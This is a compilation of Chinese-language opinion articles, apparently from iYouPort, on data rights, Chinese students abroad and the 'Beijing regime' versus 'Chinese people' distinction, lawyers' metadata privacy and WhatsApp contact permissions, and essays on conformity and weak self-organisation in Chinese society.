要理解这种损害，我们需要一种新的范式。这种范式必须能捕捉环境数据覆盖改变我们彼此之间关系的方式—家庭、朋友、同事、消费者和公民。要做到这一点，这种范式必须建立在人们拥有数据权利并且政府必须保护这些权利的基本理解的基础之上。

一路上都会有挑战。围绕数据权利的技术和法律基础设施都不是直截了当的。关于存在哪些权利将很难达成共识。要实施新的立法和法规

以保护这些权利可能更加困难。正如美国国会目前辩论的那样，利益集团和行业游说者正在争夺重要细节。不同国家的平衡点也会有所不同。但是，如果没有强大而有力的数据权利基础设施，开放的民主社会就无法生存。〇

原文

Why do we want to emphasize the distinction between the "Beijing regime" and the "Chinese people?" 为什么我们要强调区分“北京政权”和“中国人” - iYouPort

为什么关于中国社会

编者按：我们翻译这篇文章的目的是提醒一个始终存在的却被有意忽略的事实，即在海外的中国留学生中部分人的确有着爱国但不爱政府的立场，就如这篇文章中所指出的那样，但这件事始终少有人认可，尤其是不被中国人认可。这个话题在中国长期以来存在矛盾，而这些学生被贴上了“小粉红”的标签，被很多中国人所鄙视，被澳大利亚当地视为共产党的间谍来排斥，这就是为什么你看不到他们，或者看不清。

几年前曾经有在澳洲读书的中国异议学生说过这样的话，“我们这边的华裔小粉红比很多海外民运人士有着更出色的认知”。我当时没有能理解这句话，后来才知道，这里所指的“小粉红”就是那些爱自己的家园但不认同政权的留学生。

我们可以不谈论国家这个政治概念，我们说家园，离乡背井的人对家园故土的感情是否合理众所周知，同时只要有最基本的道德感的人都会鄙视这个作恶多端的政权，两者丝毫不会矛盾。政府不等于国家，爱家园不等于爱政府，公民不会被政权绑架，这都是基本常识，然而这个问题在中国却难以说清。

我们认为这篇文章没能完全讲明白这个问题，于是在编者按中佐以补充。然而令人困惑的是，我们事实上花了很长时间去思考是否有必要翻译这篇文章，准确说是问我们自己是否有勇气说出事实。这是我们的焦虑所在，一直以来这个问题经常会出现，即一篇文章、一个观点，我们会首先考虑中文读者是否能接受，作为是否翻译它的基本条件，然而我们也明白，中文读者容易接受的观点势必已经存在于普遍的既有认知之内，换句话说就是，对开阔眼界和丰富认知的目的来说，相比下效用较低。而正是那些不易被接受的观点才是通往信息自由的路径，激发思考的引擎。

“这是我的国家，但那个人不是我的总统”，很多美国公民都会说这句话，部分中国的海外留学生在北京当局修宪之后也加入了这样的运动，他们贴出了海报：“那不是我的主席”。这些年轻人是未来反抗的源泉，而他们的反抗将建立在热爱这片土地的基础上 —— “那是我的家园，我不会允许邪恶的权力霸占它”，而不是“那个国家应该被摧毁，它一文不值”。而后者是为数不少的华裔移民和中国国内移民爱好者的共识。如果可以选择，你认为上述哪个群体更有希望成就未来的反抗力量？

毫无疑问。

曾经有西方媒体朋友说：我们不应该含糊地标注“中国”和“中国人”，或者说“北京政权”和“中国人”，我非常感动，这意味着承认中国人不都是政权的拥护者，民间仍存在反威权的意识。并且后来我逐渐发现，这是一个很严肃的问题，而不仅仅是感动足够回应的。

心理学称之为组块思维，就如中国人在谈论美国时把华盛顿和美国社会、左翼和右翼、独立民间组织和政府资助的组织，混为一谈；美国人在谈论俄罗斯时把反抗者和克里姆林宫混为一谈。这也是我们翻译俄罗斯NGO那篇文章的原因之一，很多美国大型资助者已经撤回了资金，而不顾俄罗斯反抗者的无畏努力和资源匮乏的处境，这是建立在地缘政治层面上的态度和行动，如果北京政权的长臂令国际社会恐惧的结果是全球排斥华裔，中国反抗者的孤立处境之严重程度将超过俄罗斯反对派。

最终的赢家是克里姆林宫和中南海。

这就是为什么要说感动不足以回应。这已经是一个值得思考的问题。仅仅从新闻中就可以读出，北京政权的影响力施展之进度有多快。

经济学人这篇文章揭示了至少在澳大利亚已经被呈现的事实：人们更倾向于站在地缘政治角度上将中国人和北京政权混为一谈，就如美国资金放弃俄罗斯反抗者那样，如果所有美国的盟国都和澳大利亚一样的思考，中国反抗力量将得不到任何帮助。中国政府早已推出了“新反间谍法”将所有与外国组织机构有关联的中国人视为间谍，然而被中国人向往的全球民主国家们如果也排斥中国民间的求助，在孤立反抗者方面，他们将和中国政府达成一致。

最后对中国人说，我们理解很多中国异议的表述所表达的感情，即通过鄙视这个国家整体，而声明自身反对立场的态度。我们无法判断这一表述来自中国异议自身，还是国际上长期混淆“北京政权”和“中国

人”的结果。我们只希望更多中国社会真心追求民主的人们能认识到这点，也是我们在《逃离中国》这篇文章中所指出的：逃离不是解决问题的方式，不管是精神上的还是事实上的，如果这个国家不能被改变，北京政权的国际形象将成为所有华裔的身份烙印。改变的希望正来自于那些认识到这个国家的弊端的人们，也就是那些试图“逃离”的人们，我们不希望这一悖论持续，中国社会必需能做出令国际社会刮目相看的反抗努力，才能令本编者按的一系列陈述更为合理。

「图」

「图」

Our aim in translating this article is to remind the ever-present but deliberately overlooked fact that some Chinese students abroad do have a patriotic but anti-government stance, as this article points out, but this has never been recognized, especially not by the Chinese. The topic has long been conflicted in China, and these students are branded “little pink,” despised by many Chinese and ostracised by local Australians as Communist Party spies, which is why you can’t see them, or can’t see clearly.

A few years ago, a Chinese dissident student studying in Australia said something like this: “The Chinese little pinks on our side has a better understanding than many overseas pro-democrat.” I didn’t understand it then. Later, I learned that the “little pink” was meant for students who loved their home but didn’t agree with the regime.

We can talk about the homeland instead of talking about the political concept of the country. The feelings of the people who are away from home towards the homeland are well known, and there can be no contradiction in the fact that anyone with the most basic sense of morality would despise this evil regime. The government is not equal to the country, patriotism is not equal to loving the government, and citizens can not be kidnapped by the regime, which is basic common sense, but it is difficult to say in China.

We think this article does not fully explain the problem. So we add this in the editor’s note. What is puzzling is that we actually spend a lot of time thinking about whether it is necessary to translate this article, precisely, to ask ourselves whether we have the courage to tell the truth. It is our anxiety that the question has always arisen:

whether an article, an idea, is acceptable to the Chinese reader as a basic condition for translating it. However, we also understand that an easily acceptable view of the Chinese reader must already exist within the prevailing established cognition, in other words, less useful for the purposes of broadening one's horizons and enriching one's cognition. It is precisely those views that are not easily accepted are the path to information freedom and the engine that stimulates thinking.

"This is my country, but that man is not my president." Many American citizens would say that, and some of China's overseas students joined the movement after the constitutional amendment by the Beijing authorities. They put up posters: "Not my president." These young people are the source of future revolt, and their revolt will be based on a love of the land – "That is my home, and I will not allow evil powers to overrun it"; rather than "That country should be destroyed, it is worthless". The latter is the consensus of many Chinese immigrants and those who want to immigrate in China. If you can choose, which of these groups do you think is more likely to become the resistance force of the future?

There is no doubt.

Once a friend in the Western media said that we should not vaguely label China and Chinese, or Beijing regime and Chinese. I was moved by the recognition that not all Chinese are regime advocates, but there is still a sense of anti-authoritarianism among the populace. And then I came to realize that this was a serious issue, being moved is not enough to respond.

Psychology calls it block-thinking. Just as the Chinese conflate Washington with American society, left and right, independent civil society organizations and government-sponsored organizations when talking about the United States; Americans also confuse the oppositions with the Kremlin when talking about Russia. This is one of the reasons why we translated 'the Russian NGO' article: many large American funders have withdrawn their funds, despite the Russian oppositions fearless efforts and lack of resources. This is an attitude and action built on a geopolitical level. If international fear of the Beijing regime's long arm results in global exclusion of ethnic Chinese, the isolation of Chinese oppositions will be greater than

that of the Russian oppositions.

The eventual winners are the Kremlin and Zhongnanhai.

That is why being moved is not enough. It is already a question worth pondering. Just read in the news how quickly the regime's influence is being wielded.

The Economist's article reveals what has been revealed, at least in Australia: people tend to geopolitically conflate the Chinese with the Beijing regime, as US funds abandon Russian oppositions. If all US allies think like Australia, China's resistance will get no help. The Chinese government has long introduced a new anti-espionage law that treats all Chinese associated with foreign organizations as spies. But global democracies, coveted by the Chinese, will agree with Beijing on isolating the oppositions if they also exclude Chinese citizens from asking for help.

Finally, to the Chinese, we understand the sentiment expressed by many of Chinese dissents: statements of opposition by despising the country as a whole. We cannot judge whether this expression comes from the dissidents themselves or is the result of a long international confusion between the Beijing regime and the Chinese. We only hope that more people in China who are genuinely committed to democracy will realize this, as we pointed out in our article Escape from China: Escape is not the solution, be it mental or factual. If this country cannot be changed, the international image of the regime in Beijing will become an imprint on the identity of all ethnic Chinese. The hope for change is coming from those who realize the country's ills, those who seek to escape. We do not want this paradox to persist. Chinese society needs to make a revolt effort to impress the international community in order to make this editor's list of statements more reasonable.

以下是经济学人的文章：

How Chinese students exercise free speech abroad

Students aren't stooges for the government, says Fran Martin of the University of Melbourne

by The Economist FRAN MARTIN

自2017年初以来，澳大利亚的媒体、政府、学术界和情报界的代言人纷纷对中国的秘密政治影响力进行了猜测，这与澳大利亚政府对北京日益激烈的对抗立场相吻合。在这些关于“中国威胁论”的辩论中，澳大利亚大学的普通中国留学生已成为国家政治焦虑的不幸代罪羔羊。他们被指控为中共的间谍、破坏校园言论自由，以及担任中国政府的遥控兵。

虽然这一切都已经发生，但多年来我一直在进行对中国大学生在澳大利亚留学的社交经历的研究。针对他们的指责令我的调查中所涉及的澳洲华裔学生感到困惑和愤怒。大多数人认为这种说法很奇怪，不公平，而且不可信。最容易被混淆的概念是，通过在课堂上发表政治意见，中国学生正在破坏他人的言论自由。一个学生说，“表达自己的观点不就是言论自由吗，而不是攻击它”。

他说得很好。一小撮案件已经被作为中国学生对言论自由的敌意的证据，其中包括中印边界的地缘政治分歧，台湾和香港应该被描述为国家，讲师暗示，中国学生经常在考试中作弊、中国官员酗酒无度。

但在这些情况下，中国学生都没有试图压制他人的观点。他们不同意他们的讲师，就像学生们每天在全国各地的教室里互相挑战教师和彼此的方式一样。我们普遍欢迎这样的挑战，作为学生独立思考的证据和他们表达反对意见的自信心：自由教育传统中的核心价值观。

学生们互相暗中监视并向阴暗的共产党机构报告的警告同样使我的大多数研究参与者不受欢迎。如果这样的事情发生，这些学生显然没有意识到这点。我认识的中国学生中没有任何一个人与中国学生和学者协会有过重要的联系，该协会常常是领事馆控制学生团体的手段。那些偶尔参加过活动的人报告说，这些活动是没有政治内容的社会和文化活动。

人们会告诉你，中国学生很谨慎同胞之间的政治对话并进行自我审查。但我的经历有所不同。我曾经教过许多涉及台湾政治、中国公民权利、天安门广场抗议活动、香港身份认同、中国民族主义和共产党批评，以及其他所谓的“敏感”话题的中国学生，这些问题并没有出现。中国大陆学生对课内外的小组讨论作出了认真和公开的表示，并对从不同角度研究这些课题表现出浓厚的兴趣。

一些评论家指出中国学生在国外的民族主义，将其等同于对党和政权的毫无疑问的支持。但更深入的研究显示这种现象要复杂得多。我的

研究表明，虽然许多人认为在像中国国庆节那样的特殊场合表达爱国主义是“酷”，但这通常并不意味着要对其政府进行全面认可。那些在10月1日把他们的微信个人图片换成中国国旗的学生，或者在道义上有义务捍卫他们的家园声誉，而在其他情况下，他们批评政府滥用权力、侵犯人权、媒体审查或习近平修宪无限期地延长任期等等恶劣行径。

这并不是说中国学生在国外不会自我审查。在一个民族主义猖獗的时代，通常都是通过公民主导的网上对异议的迫害来进行的，但大多数人认为，在重大公共场合诋毁中国或其政府是不明智的。可信的是，少数思想热情高涨或政治雄心勃勃的学生可能会被迫向领事馆和大使馆报告反政府抗议活动的计划，大使馆显然对此有明显兴趣。

但将中国学生整体视为国家安全威胁的最大问题之一是，所谓的激进边缘活动被与对中国学生的公众想象力相关联。令人遗憾的是，听到国内学生和大学工作人员都表示对中国学生不信任，认为他们必须全部都是被政治洗脑的，最多也就是最差的观点是认为他们已经成了共产党的卧底代理人，这已经变得越来越普遍。事实上，澳大利亚的辩论变得如此激烈，还原和极端化，以至于一些中国 – 澳大利亚学者 – 甚至非中国籍的中国学者 – 越来越不愿意质疑中共对校园渗透的语话，他们害怕自己被标记为政权的傀儡。

具有讽刺意味的是，那些声称言论自由和自由主义价值观的人的言辞却导致了冷战时期的妄想和猜疑。由全国79位著名中国学者签署的公开信件对目前辩论的这种反作用效果给予了关注。指控中国学生破坏学术自由显然也会疏远学生本身，面对大规模的公共舆论袭击，他们已经陷入了困境和被动防御。这意味着澳大利亚学术界错失了让这些学生有效参与的机会。

这些学生都是中产阶级和精英阶层的子弟，有可能成国家未来的领导人。他们在澳大利亚、美国和欧洲学习的人数如此之多，这是他们在智力上和社交上参与其中的独特机会。相互尊重的参与可以丰富和改变中国学生对当代世界的理解和在其中的地位，以及我们对“中国崛起”及其与中国关系的理解。由于目前辩论中关键问题被过度简化，不幸的是，这些机会在很大程度上仍未实现。

作者是墨尔本大学文化研究副教授 Fran Martin。她目前正在进行为期五年的ARC未来奖学金项目，以研究中国学生在澳大利亚的经历。○

原文

一个人错误的权限设置将危害一群人的宪法权利 - iYouPort

为什么

读取联系人信息是非常危险的东西； 如果政府能够通过访问元数据轻松找出谁在与之交谈，他们就能购置一个详尽的“嫌疑人关系网”，一网打尽

「图」

「图」

十二月，我在新手机上安装了 Flywheel 应用程序，一个叫车用的软件。我以前在我的旧手机上使用过它，但是当我在新手机上安装它时，它要求两个特殊的权限，其中一个是要求访问联系人列表的权限。

为什么一个叫出租车的应用需要访问我的联系人？呼叫该公司的推文没有得到答复，所以我不可能知道这是为什么，或许出于其他目的。其隐私政策表面上看起来既合理又可读，最近更新于2013年，并没有提及为什么它现在想要访问我的联系人。

所以我终止了安装，虽然对 Flywheel 来说，1月份对该应用程序的更新似乎已经重新构建不再需要该权限（但是另一方面，隐私政策仍然采取的是2013年的）。然而，对于那些坚持阅读我所有联系人的应用程序，包括显而易见的 Whatsapp，都是很可疑的。

Whatsapp 最近一直在新闻中出现，特别是鉴于 Facebook 宣布计划将其与 Messenger 服务合并。但是，即使应用程序独立存在，此处描述的问题也是一个问题。

确实，与旧的 Flywheel 应用程序不同，Whatsapp 目前可以在禁止读取联系人信息的情况下安装。但是它无法有效使用。它可以从已经知道我的 Whatsapp 号码的其他人那里收到入站消息，但它拒绝向新联系人发送出站消息，除非我首先让 Whatsapp 拿走我的所有联系人。

Whatsapp 在其隐私政策（2016年最新更新）中坦诚它收集了这些信息，这很好，但它从来没有解释为什么它需要这些信息，这是不好的。鉴于 Signal，另一个加密通信应用程序，它就不需要为了基本运行而使用所有联系人信息，于是 Whatsapp 也应该不需要才是。其隐私政策提供的唯一暗示是，Whatsapp“可以为您创建联系人的收藏列表”，作为其服务的一部分，但是，仍然不清楚为什么它需要读取您的整个联系人列表，这里面可是包括非 Whatsapp 用户联系信息的！

具有讽刺意味的是，像 Whatapp 这样的应用程序应该是律师使用的主要应用程序。因为作为律师我们有责任保护客户的信心，加密通信通常是维持有意义的律师客户关系的必要工具，通信保密对于律师来说很重要。

这就是为什么我不能使用它—没有完成安装旧的 Flywheel 应用程序，并拒绝使用任何其他坚持要阅读我的所有联系人列表的应用程序：因为我是一名律师，我不能让这些信息暴露。我们有保护客户安全的责任。有太多的情况，如果其他人知道了我们正在与谁交谈，那将对我们的客户寻求他们在宪法上有权获得的律师的协助权造成严重破坏。

几年前，我代表全国刑事辩护律师协会在一份关于史密斯诉奥巴马案的法庭简报中写到了这个问题。该案对美国政府在没有手令的情况下从美国移动网络运营商 Verizon Wireless 收集大量元数据的做法提出了宪法挑战。

不幸的是，这一宪法上的挑战在地区法院层面上失败了，但并不是因为当政府如此容易获得如此多的个人信息时法院无法看到它如何冒犯第四修正案；相反，地区法院驳回了该案是因为法院认定史密斯诉马里兰州的最高法院裁决。

史密斯诉马里兰州案是1979年的另一个说明性案例，关于如果你已经披露了某些信息（例如你拨打的人）你就不能再对这些信息中的隐私有合理的期望了。第四修正案应继续保护（因此只是要求政府获得进入的许可）。即使在史密斯诉马里兰州的当年，对于受宪法保护的隐私利益也是如此随意的。但是，当应用于与我们的数字通信相关的元数据时，它直接剔除了第四修正案保护的个人隐私。

事实上元数据是显而易见的。暴露这些数据不仅违反了第四修正案，而且还违反了第六修正案承诺的对依赖律师的客户之权利的保护。诚然，我们的客户并不总是秘密。但有时整个协助过程就取决于保持信息的私密性。

因此，元数据很重要，因为即使它不是通信“内容”，它仍然可以准确描述生活的细节。尤其是当涉及律师的生活时，它最终也涉及到了所有法律咨询者的生活。这是一个很大的问题。

律师一直都会收到不收费人的法律咨询请求。也许人们只是需要有关如何行使权利的建议。或许他们担心自己可能会被指控犯罪，并且需要做出负责任的选择，尽早与律师交谈，以确保他们有最好的防御。第六修正案保证他们有权获得律师协助，但只有当客户在通信中能够确保足够的隐私权可以与他们的律师坦率对话时，才能实现这一权利。

如果没有这种坦率，律师服务就不能像宪法所要求的那样有效。但是，如果政府能够通过访问他们的元数据轻松找出谁在与之交谈，那么所需的隐私就会消失。一位律师与之进行过沟通的人，特别是一名刑事辩护律师，它就像一个方便的潜在嫌疑人名单，供政府调查。

而且不仅如此。考虑一下我们之前多次谈到过的情况，一位匿名发言人可能需要试图取消某种寻求揭露他们身份的工具（包括政府发布的此类工具）。我们已经讨论过程序性保护是多么重要，以便匿名发言人可以找到一位律师来对抗这种身份揭露。当然，获得咨询意味着发言人和律师之间将进行沟通，即使这些通信的内容可能保持私密，但与通信相关的元数据可不是。

不幸的是，这个问题没有简单的答案。首先，正如律师不可能避免使用手机一样，律师避免使用数字技术根本不可行。实际上，其中大部分数字技术工具可以使我们的工作更具生产力和成本效益，这最终对客户有利。特别是考虑到我们的电话通话记录没有受到保护，使用加密数字技术作为标准电话的替代方案甚至尤为重要。

在某种程度上，律师可以拒绝使用某些似乎不负责任地处理数据的应用程序或服务（我安装了Lyft并使用Signal代替），但有时很难说出应用程序行为的确切轮廓，有时即使我们可以说出，放弃使用某些技术和服务仍然是一个代价极高的决定。我们需要的—— 每个人都需要的，是能够使用充分的技术安全知识，与之共享的信息不会超出我们预期的任何其他目的。

为此，我们—律师和其他人—绝对应该迫使技术制造者：（a）更加透明地了解访问元数据的方式和原因，（b）要求其提供更高级别的访问以及使用元数据的方式，所以我们不必告诉任何应用程序或服务超过它需要知道的一切，（ c）在数据共享实践和抵制政府数据需求方面更具原则性。市场压力是影响这一结果的一种方式，也许这些压

力来自监管也是合适的。

但在我们向监管机构求助之前，我们需要谨慎对待我们的愤怒。像GDPR和CCPA这样的东西值得批评，因为他们往往喜欢用火焰喷射器杀虫，寻求阻止特定伤害，但同时对任何新的伤害无动于衷。当然，鼓励明确细致地披露软件如何与个人数据交互以及阻止随意数据共享的一般想法是一个好的，至少是市场应该要求的底线。

当然，现实是有时需要进行数据共享—某些有用的服务在没有数据访问的情况下将不再好用，甚至是共同提供该服务的合作伙伴之间的数据共享。要求监管机构完全阻止它不合理。此外，私人攻击者不一定是对律师需要保护的隐私权益的最大威胁，更大的威胁来自政权。即使是最负责任的科技公司仍然受到贪婪政府的支配，政府认为自己有权获得这些私人参与者收集的所有数据。希望有一天法院能够认识到我们保护元数据访问的宪法权利。但是直到那一天到来之前，我们不应该继续如此脆弱，我们必需自己保护自己。

The 3rd Party Doctrine: Or Why Lawyers May Not Ethically Be Able To Use Whatsapp. The reality is that metadata is revealing. And as I wrote in this amicus brief, the way it is revealing for lawyers not only violates the Fourth Amendment but the Sixth Amendment right to counsel relied upon by our clients. True, it is not always a secret who our clients are. But sometimes the entire representation hinges on keeping that information private.

原文

为什么中国社会看起来很“傻” - iYouPort

为什么关于中国社会

上个月和朋友聊天时谈到：为什么极右更容易被组织动员，而很多支持正义的人却很难联合起来？其中有人提到了文革，这是个很自然的关联，同时也引出了那个烂大街的月经之辩：“文革会不会重来”。

这个提问一开始就是错的，因为辩论各方并没有就如何定义文革这个问题达成一致。大多数人都承认，当下的中国搞不出毛泽东时代那种纯精神力量支持的大规模社会运动，但同时也无法否认，习近平政权能花钱买到几乎一模一样的运动局面，达成几乎一模一样的效应。

其原因在于：这个社会整体的“傻”。

「图」

「图」

之所以给傻字加引号，是因为它并不是真的，至少不是所有人都如此——底层真傻、中产装傻、富人看热闹顺风倒，这是我多年前的调侃，至今似乎仍不过时。举个最近发生的简单例子，英美法的叙利亚轰炸。

很多中国官媒工作者在“私下”里都在高度支持英美法的轰炸，为之兴奋，他们说着与当权者同样的话，"把平民的死亡解释为所谓的“附带伤害”"。并且这种与共产党外交部所表达之态度截然相反的现象曾多次出现过。可以说这是整件事中最有趣的部分。

又一个引号。之所以给私下二字加引号，是因为"这些人除了说梦话之外从无“私下”"。因为他们一直都在害怕，甚至已经给害怕的心态赋予了合理性，以至于当自我审查之欲求来袭时，自己都分不清哪个才是真心所想。

这是他们长期所处的环境所造成的。他们不知道身边哪个人是领导的心腹、意识形态探子、还有打小报告上瘾的自干五，换句话说就是，我们能看到的他们的全部表达都是有目的的——以其领导的意图为宗

旨，以其单位颁布的“口径暗示”为基准。简而言之：中国当局的本意很可能是支持这场对叙利亚轰炸的，至少那些官媒的领导在如此揣测。中国当局之所以在外交态度上表现为反对，不过是一贯的民族主义“反美”立场，和普京一样，"民族主义同样是共产党的政权根基。"

另一方面，某些中国异议学者之本心同样是反对这场战争的，因为他们了解："这不是什么正义之战，而是各种利益牵涉的杀戮"，肮脏的代理人战争，但他们的表达被他们的公共角色所绑架了——他们似乎在要求自己履行与中国当局的公开态度相反的“义务”，这样才能维护他们自己在舆论场上的身份之稳固。

换句话说就是，他们已经无法让自己就事实来判断了。而忠于事实本身，是知识分子之所以为知识分子的根基。

他们傻吗？肯定不。那些官媒记者傻吗？也不。信息并没有严重不对称，"很多人一直在积极地收集国际上最新的信息并传播给他们"，但是没用，正因为这不是傻而是愚蠢 —— 注意，傻和愚蠢完全不同，前者是无意识的，完全可以通过信息补充而淡化和纠正，后者是有意识的，有目的的，任何方法都无从纠正 —— 于是信息自由在此改变不了任何。

之所以举这两类人为例，是因为他们合在一起基本构成了中国舆论界的精英阶层的一个大部分，大多数的其他人都在模仿他们的观点来构建自己的观点，是他们，在决定了大半中国人的认知 —— 即我们所能看到的所谓中国舆论场之意见倾向。

> **Most people are other people. Their thoughts are someone else’s opinions, their lives a mimicry, their passions a quotation**

Oscar Wilde 说过，绝大部分人都活成了别人，他们跟着别人的意见、别的生活方式，他们的人生只是在模仿。有创见性观点和具有突破性创造力的人永远都是极少数，这些少数派并不是被大众模仿的对象，恰恰相反，他们是被大众所鄙夷和排斥的人。

上个月，"aeon 发表了一篇文章"：**“Say goodbye to the information age: it’s all about reputation now”**。文章说，在我们高度互联的自由民主社会里，未受到重视的知识悖论在其中扮演了一种关键角色：流通的信息量越多，我们越依赖于所谓的“声誉设备”去评估它。

造成这种悖论的原因是，今天大量获取到的信息和知识并没有让我们具有认知上的自主。相反，它让我们更依赖于其他人对信息的评估和判断。人们与知识的关系正经历范式上的转变 —— 从信息时代开始走向了声誉时代，信息只有在被其他人过滤、评估和评论之后才具有价值。

由此看来，声誉成为了今天集体智慧的核心支柱。它是知识的看门人，而门的钥匙却被他人所掌握。知识权威的建立方式使得我们依赖于其他人不可避免的偏见判断上，而我们大多数人对此一无所知……

这并不是什么新鲜事，在中国这样的长期封闭和自闭的社会里，可以说一贯如此，仅仅是互联网的信息爆炸让这一现象被高度突出化了。

太早就不提了。80年代，中国文学界流传着一个说法，叫“铅字效应”，指的是不论任何观点，只要它被印成铅字，就很容易被大众认同。铅字意味着“权威”。可笑吗？让印刷术将一个傻逼变成真理代言人？但在中国，当时的人们就是这样认为的。

如今这一“效应”在互联网上形成了镜像——只要是“名人”专栏，不管它喷的什么玩意儿，都能获得广泛认同。媒体最看重的是知名度，而不是真理甚至不是逻辑。

从众在某种程度上已经成为一种热门的生活方式。

“汇集全球智慧“ 的社交媒体如今变成了全球最平庸乏味的地方，尤其是中文，老生常谈的话题，包括海外华人异议人士，都在使用老旧的模式、着眼于在中文社交媒体上狭窄的小圈子内所能获得的自身影响力营销，沉迷于常识的重复和口水，完全无法感知他们的联合价值……

"“流行”是一个悖论，它意味着烂大街、没有深度，甚至已经开始过时和错误"。粉丝经济让很多人开始变态，为了获得关注——声誉，不惜造假、夸张、胡言乱语。在中文 tweet 中，影响力最大、转发量最高的都是这类玩意。

王尔德在一百多年前就说过：**Popularity is the one insult I have never suffered**（人气是我从未遭受过的一种侮辱）。而如今，这种侮辱变成了绝大部分人的渴望。

借助互联网，媒体从单向传输转变为双向选择后，对侮辱的渴望几乎变成了信息生产者和信息消费者之间最大的“共识”。

媒体拼命消费名人，不论什么人“火了”都能被新闻捞一笔。消费死者已经不够恶心了，更为通常的是，不论任何领域、任何话题，统统找名人发言，也不管那些名人的智商如何。在中国，大部分能成名的人往往只是意味着一个成功的营销贩子、与体制最亲密的奴才、或者最擅长讨好浅薄和无知的骗子。

新闻和时评被名人垄断的结果就是，有价值的内容越来越少，八卦烂俗严重稀释了事件本身真正的社会价值 —— 大批媒体花费超长篇幅研究 **Julian Assange** 的头发，却忽视 **Wikileaks** 带来的媒体革命新模式的惊人价值；对 **Edward Snowden** 的女朋友和所谓的“爆料动机”的揣测，比大规模监控的事实本身的周知度还要高；艾未未的婚姻状况和成长环境几乎尽人皆知，却少有人了解他所有创作的真正含义……

这就是媒体所造成的权威变成了毫无价值，无法形成正向的积极的带动力，那些做出贡献的人，其贡献价值被头发和女朋友所淹没，何其荒唐。媒体可以大言不惭地辩解为：吸睛度就是利润、流量就是上帝。他们认为信息消费者感兴趣的只是头发和女朋友？

是的，人们喜欢权威，信任权威，甚至依靠权威，权威认同在中国尤其突出。一些开始警惕和反对共产党政治权威的人忽然发现自己赖以生存的精神依靠——那个权威者的位置——被空出来了，但他们所表现出来的并不是兴奋，也不是终于获得自由的轻松，而是忙于填补这个空白，忙于为自己寻找一个新的权威来认同。

这是个很有趣的社会景观，从单位领导到高校教授，从社会阶层到名校光环，无不被人们赋予了权威的地位，于是信任之、屈从之，在社交媒体上，权威甚至可以是一个群聊的创建人：群主！群主被认为一言九鼎，无人能反驳。家长制继续在虚拟世界发扬光大了。

真理呢？谁在乎。

并且更有，人情社会的所谓传统为此处的权威声誉又添加了一层人情面子的色彩。我曾经很不客气地说，在中国，相比事实，人们更愿意去信任一条看起来长得漂亮的狗。这可不是戏言。

也就是说，如果你不能首先构建起广泛的人情网络，就最好不要从事以推广事实真相为主体的工作，比如知识分子、媒体、时政观察者等等，否则你会被踩得一塌糊涂。最善意的结果是被无视。

对所有在中国做上述工作的人来说都一样，也是为什么你经常能看到

他们在装傻，不论是以公共角色的维系为目的，还是以人际关系网络的稳固为目的。很多人并不傻，并不是无从了解事实，但他们会在很大程度上无法实现捍卫事实真理的知识分子基本职能。

前几天，"南华早报发表了一篇文章"，说中国长期封锁国际社交媒体平台是为了消除“外国观念”对中国人可能产生的影响，从而保持共产党观念之影响的一家独大。

报道说，这种持续的审查很可能会适得其反。中国经济肯定会遭受持续使用 **GFW** 的严重打击。同时 **GFW** 也在妨碍中国自己的科学家的创新，因为他们无法在第一时间获得世界上许多最新的趋势和想法。毫无疑问，中国的创新和创意产业将严重落后于世界**……**

这是老生常谈了，此文并没有任何新颖的观点，因为它仅仅指出了中国社会为什么看起来傻的一部分原因。一小部分。但这一观点一直以来都是国际上大大小小的主张互联网信息自由组织对中国的认识。也因此，他们做了很多工作，尽可能地帮助中国人打开眼界，就如 "GreatFire 组织的项目" —— 这里的链接指向详细内容。我敢保证，它提供了理论上能解决中国社会普遍的“傻”所需要的一切工具。

是理论上如此。和很多心态积极的欧洲朋友一样，我也一直认为部分中国人的认知问题源于 **GFW** 的阻碍——信息不自由造成的封闭，于是"我们的 "**#openChina** 运动旨在打破这一封闭，让人们接触到更多更全面的信息。但目前为止，我们的工作是失败的局面（上面链接指向了我们对这一失败的分析）。

事实显示，人们只喜欢收集符合自己原有观点的信息，而对扩充知识根本不感冒，不仅意味着回音壁效应不容小视，更有，当声誉时代遇到人情社会时，真相正在死去。

中国人不都是傻的，中国社会有很多聪明人，只是这份聪明被形形色色的所谓生存哲学所扭曲，被意识形态所绑架，他们已经无法在就事实论断这一基本原则上发挥作用。而他们恰恰成为了某些领域的权威，成为了高度依赖权威的绝大部分中国人的信仰。

这就是为什么中国社会表面上看起来很“傻”。这是比真傻更难以解决的问题。

原文

为什么中国社会难以组织起来 - iYouPort

为什么关于中国社会

中国社会的自组织能力很差，还有很多弊端，与实践机会过少有关，但是，一些长期养成的习惯也在阻碍社会运动的能力。本文对此做一些简要的分析

谈到组织你想到什么？街头抗议、工会、反对党、NGO，没错，其实包括线上的聊天群组都算，理论上可以 O2O，将虚拟社区转变为现实中的组织，也是为什么中国当局很警惕群聊问题，并且弄出了啼笑皆非的“群主承责”规定。他们的警惕是多余的，中国人很难组织起来。

对于 Novak 这种中文爱好者来说，混迹中国人中最令他感觉困惑的一点就是，人们之间关系之微妙，即便在互联网上也是如此。一个热闹的大型群组没过几天就变得冷清了，因为出现了另一个新的群组，其中排斥掉了旧群组的部分人。接着这个新群组继续分化，继续排斥掉其中一些人，变得更小，然后再继续，最终解体。

人际粘性基本取决于互利关系，基于金钱或者社会资产的交换，而不是基于共识的凝聚。在 Novak 看来，如果你无法在第一时间让对方感知到你可以提供他们所需要的利益，关系基本很难维持。或者说你很可能无法通过某个精神需求将人们聚集在一起。

但这不是全部，物质资本主义社会基本都是如此，对于中国来说，比较特殊的或者说微妙的，在于以下几点。

「图」

「图」

1、观念意识形态

“傻逼”这个中国人发明的词如今被不少中国人所厌恶，为什么？因为它被过于泛滥的使用了。当一个人不认同另一个人的只言片语时，就可以直接称对方为傻逼。甚至不想理解你的完整意思，只按照自己的

感官就做出了否定判断，由此给你贴上傻逼标签。Novak 认为这已经不限于给讨论造成的障碍。

没错。这个词并非仅仅是情绪化表述，而是中国人组织不起来的原因之一。

人们在利用观点分歧为下意识的社交关系疏离做辩护。看起来是个挺好用的借口，“嗨那个傻逼，怎么可能和他联合一起？”没有人会去想想不同的观点并非意味着错误，“傻逼”之论则是预设了自己完全正确聪明无比的前提。好吧，人们不会知道自己不知道什么。但否定自己还有不知道的事，这可是一种很狂妄的行为。

强烈的意识形态表达往往会造成荒唐的判断。这种现象很常见，我反对美英法在禁止化学武器调查组尚未进入调查的时候就开始轰炸叙利亚，当时就有人指我“支持阿萨德”，可笑吧，他们只给你留下了两个选项：要么支持北约要么支持阿萨德，没有第三种。

